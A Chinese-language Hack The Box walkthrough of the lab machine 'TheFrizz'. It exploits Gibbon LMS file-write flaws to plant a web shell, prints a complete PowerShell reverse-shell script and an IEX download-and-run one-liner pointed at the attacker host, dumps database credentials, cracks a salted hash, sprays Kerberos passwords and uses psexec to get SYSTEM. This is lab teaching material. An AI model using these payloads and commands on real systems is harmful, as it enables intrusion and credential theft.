HTB-TheFrizz

admin 2025年4月7日23:51:31评论2 views字数 7046阅读23分29秒阅读模式

信息收集

1、端口扫描

nmap 10.10.11.60

PORT     STATE SERVICE22/tcp   open  ssh53/tcp   open  domain80/tcp   open  http88/tcp   open  kerberos-sec135/tcp  open  msrpc139/tcp  open  netbios-ssn389/tcp  open  ldap445/tcp  open  microsoft-ds464/tcp  open  kpasswd5593/tcp  open  http-rpc-epmap636/tcp  open  ldapssl3268/tcp open  globalcatLDAP Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)3269/tcp open  globalcatLDAPssl

访问80端口

添加DNS解析 10.10.11.60 frizzdc.frizz.htb
Gibbon v25.0.0

2、目录扫描

dirsearch -u http://frizzdc.frizz.htb/ 

[04:17:12] 500 -  639B  - /cgi-bin/printenv.pl                              [04:17:30] 301 -  345B  - /home  ->  http://frizzdc.frizz.htb/home/

访问/cgi-bin/printenv.pl

Please contact the server administrator at [email protected] to inform them of the time this .....Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Server at frizzdc.frizz.htb Port 80

打点

CVE-2023-34598

https://github.com/maddsec/CVE-2023-34598

http://frizzdc.frizz.htb/Gibbon-LMS/index.php?q=./gibbon.sqlhttp://frizzdc.frizz.htb/Gibbon-LMS/index.php?q=./vendor/composer/installed.json

任意文件写入 - GetShell

CVE-2023-45878 任意文件写入

https://herolab.usd.de/security-advisories/usd-2023-0025/

# 跟着Exp写入有个shell文件# 执行命令成功# dir查看目录 -> 发现有个config.php配置文件 -> type查看文件内容# 得到一个数据库的用户名和密码
HTB-TheFrizz
frizz-00
HTB-TheFrizz
frizz-01
http://frizzdc.frizz.htb/Gibbon-LMS/asdf.php?cmd=type config.php$databaseServer = 'localhost'$databaseUsername = 'MrGibbonsDB'$databasePassword = 'MisterGibbs!Parrot!?1'$databaseName = 'gibbon';$guid = '7y59n5xz-uym-ei9p-7mmq-83vifmtyey2';
# 通过任意文件写入 写入一个php的反弹shell -> 通过meterpreter生成# 生成 shell.php -> base64编码 ( 上传需要base64编码 )msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.16.62 LPORT=8888 -f raw > shell.phpbase64 shell.php # Kali中自带的命令# 启动msfconsole进行监听msfconsoleuse multi/handlerset payload php/meterpreter/reverse_tcpset lhost 10.10.16.62set lport 8888exploit

msf我反弹不过来,这里用了另外一个方法

# shell.ps1# python -m http.server 80# nc -lvvp 9999$LHOST = "10.10.16.72"; $LPORT = 9999; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
# http://frizzdc.frizz.htb/Gibbon-LMS/asdf.php?cmd=echo IEX (New-Object Net.WebClient).DownloadString("http://10.10.16.72/shell.ps1") | powershell -noprofileecho IEX (New-Object Net.WebClient).DownloadString("http://10.10.16.72/shell.ps1"| powershell -noprofile
HTB-TheFrizz
frizz-02

数据库 & john

结合上面得到的数据库账号密码,进入数据库寻找信息$databaseUsername = 'MrGibbonsDB'$databasePassword = 'MisterGibbs!Parrot!?1'$databaseName = 'gibbon';mysql在 C:xamppmysqlbin 路径下
.mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "show databases;".mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "use gibbon; select * from gibbonperson;"# 泄露用户username: f.frizzlepasswordStrong: 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03        passwordStrongSalt: /aACFhikmNopqrRTVz2489
HTB-TheFrizz
frizz-03
通过长度可以判断是SHA-256加密 加盐常见组合方式 SHA256(password+salt) 或者 SHA256(password+salt)

John 的 dynamic 格式支持 sha256($s.$p),其中:

  • $s: 盐值(salt
  • $p: 密码(password
dynamic_61:sha256($s.$p)dynamic_62:sha256($p.$s)
passwordStrong:$dynamic_61$067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03$/aACFhikmNopqrRTVz2489john --format=dynamic_61 --wordlist=/usr/share/wordlists/rockyou.txt hash.txtf.frizzle:Jenni_Luvs_Magic23
HTB-TheFrizz
frizz-04

CVE-2024-24725:

https://www.exploit-db.com/exploits/51903

错误登录

./kerbrute bruteuser --dc 10.10.11.60 -d frizz.htb pass.txt f.frizzle -v

./kerbrute bruteuser --dc 10.10.11.60 -d frizz.htb pass.txt f.frizzle -v

  • 通过kerbrute来验证密码 --- 我的这里通过-v发现了时钟相差过大 -> 下面有我解决同步时间的问题
  • --dc:域控制器
  • -d:域名
  • -v:输出日志信息
HTB-TheFrizz
frizz-05
impacket-getTGT frizz.htb/'f.frizzle':'Jenni_Luvs_Magic23' -dc-ip frizzdc.frizz.htbexport KRB5CCNAME=f.frizzle.ccache
  • 通过 Kerberos 协议从指定的域控制器(KDC)获取一个 票据授予票据(Ticket Granting Ticket, TGT
  • frizz.htb/'f.frizzle':'Jenni_Luvs_Magic23' 指定 Kerberos 认证的凭证,格式为:域名/用户名:密码
  • -dc-ip:域控制器(KDC)的IP地址或主机名 --- 如果写主机名( 要确保已经添加DNS解析 )
  • 这条命令生成f.frizzle.ccache,一般会用环境变量来保存进行加载
HTB-TheFrizz
frizz-06
evil-winrm -i 10.10.11.60 -r frizz.htb -k KRB5CCNAME
  • 通过 Windows 远程管理协议(WinRM)连接到目标机器,并使用 Kerberos 认证方式进行身份验证
  • -i:知道IP或者主机名
  • -r:知道kerberos域(realm,--realm)
  • -k:指定使用 Kerberos认证
HTB-TheFrizz
frizz-07

同步时间

sudo ntpdate frizzdc.frizz.htb-> 按理来说执行这一条命令即可, 将本机时间与域控进行同步 ( 只要时间差小于5分钟, 就OK了 )-> 但是后台会有一些服务自动更新时间 -> 导致, 你这边刚同步完, 后台的服务又给你调回去了-> 出现 你执行完上面的命令后, 再用date查看时间 发现没有变化# systemd-timesyncd 或者 ntp 服务 -> 看你的电脑控制时间的是什么服务 -> 停止即可systemctl status systemd-timesyncdsudo systemctl status ntpsudo systemctl stop systemd-timesyncdsudo systemctl disable systemd-timesyncd
HTB-TheFrizz
frizz-08

正确登录

/etc/hosts必须如下设置

10.10.11.60     frizzdc.frizz.htb frizz.htb

/etc/krb5.conf,这个是kerberos的配置文件

[domain_realm]    .frizz.htb = FRIZZ.HTB    frizz.htb = FRIZZ.HTB[libdefaults]    default_realm = FRIZZ.HTB    dns_lookup_realm = false    dns_lookup_kdc = true    ticket_lifetime = 24h    forwardable = true[realms]    FRIZZ.HTB = {        kdc = FRIZZDC.FRIZZ.HTB        admin_server = FRIZZDC.FRIZZ.HTB        default_domain = FRIZZ.HTB}

kinit获取票据

kinit [email protected]klist
  • 通过 Kerberos 协议为用户 [email protected] 初始化一个 Kerberos 票据(通常是 TGT,Ticket Granting Ticket)
  • klist查看票据
HTB-TheFrizz
frizz-09
ssh [email protected] -K
  • -K 启用GSSAPI认证 -> 告诉它用Kerberos票据进行身份验证
  • 这就要保证配置文件正确配置了
HTB-TheFrizz
frizz-10

user.txt就在Desktop目录下了

提权

BloodHound收集信息

# 通过scp上传SharpHound.exe到目标服务器 -> 进行收集域信息scp -o GSSAPIAuthentication=yes ~/桌面/privilege/bloodhoundcollect/SharpHound.exe [email protected]:C:/Users/f.frizzle/Desktop# 在目标机器上运行SharpHound.exe -> 生成zip文件.SharpHound.exe -c All -d FRIZZ.HTB --OutputDirectory C:Temp# 回传回来scp [email protected]:C:/Temp/20250405190945_BloodHound.zip /home/yefeng/桌面/HTB/TheFrizz# 用bloodhound分析 导入 zip 文件
HTB-TheFrizz
frizz-11

PS命令搜集信息

Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName
  • Get-ADUser:获取AD中的用户对象
  • Select-Object -ExpandProperty SamAccountName:提取SamAccountName属性
HTB-TheFrizz
frizz-12
# 在 C: 下Get-ChildItem -Force # 列出当前目录下所有文件cd `$RECYCLE.BIN# 发现了压缩包 且属于 f.frizzle 用户 whoami /user -> 可以查看SID
HTB-TheFrizz
frizz-13
# 由于 $RECYLE 的变量问题 -> 先将文件复制出来 -> 然后用scp进行传输Copy-Item "C:`$RECYCLE.BINS-1-5-21-2386970044-1145388522-2932701813-1103`$RE2XMEG.7z""C:/Temp/1.7z"Copy-Item "C:`$RECYCLE.BINS-1-5-21-2386970044-1145388522-2932701813-1103`$IE2XMEG.7z""C:/Temp/2.7z"# scp传输scp [email protected]:C:/Temp/1.7z /home/yefeng/桌面/HTB/TheFrizzscp [email protected]:C:/Temp/2.7z /home/yefeng/桌面/HTB/TheFrizz# 7z 命令进行解压7z x 1.7z -o1 # 这里的-o就是这样的,与要解压的路径之间不需要空格# 寻找信息
HTB-TheFrizz
frizz-14

base64解码之后,进行一个密码喷射

./kerbrute bruteuser --dc 10.10.11.60 -d frizz.htb pass M.SchoolBus -v
M.SchoolBus:!suBcig@MehTed!R# 获取TGT票据impacket-getTGT -dc-ip 10.10.11.60 frizz.htb/M.SchoolBus:'!suBcig@MehTed!R'export KRB5CCNAME=m.schoolbus.ccacheimpacket-psexec -k -no-pass frizz.htb/[email protected]
这里没想到可以通过impacket-psexec直接提权: psexec利用了远程服务机制,而这个机制默认以SYSTEM权限执行 只要你当前用户的权限是本地管理员,就可以利用psexec拿到SYSTEMpsexec工具工作流程如下:    连接目标主机 SMB 445 端口;    上传一个服务程序(remcomsvc.exe);    在目标主机上通过 Windows 服务控制管理器(SCM) 注册一个服务;    设置这个服务的启动账户为:LocalSystem(SYSTEM);    启动服务,执行你的命令;    回显命令执行结果;    最后删除服务和临时文件。
HTB-TheFrizz
frizz-15

原文始发于微信公众号(夜风Sec):HTB-TheFrizz

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月7日23:51:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB-TheFrizzhttps://cn-sec.com/archives/3925415.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息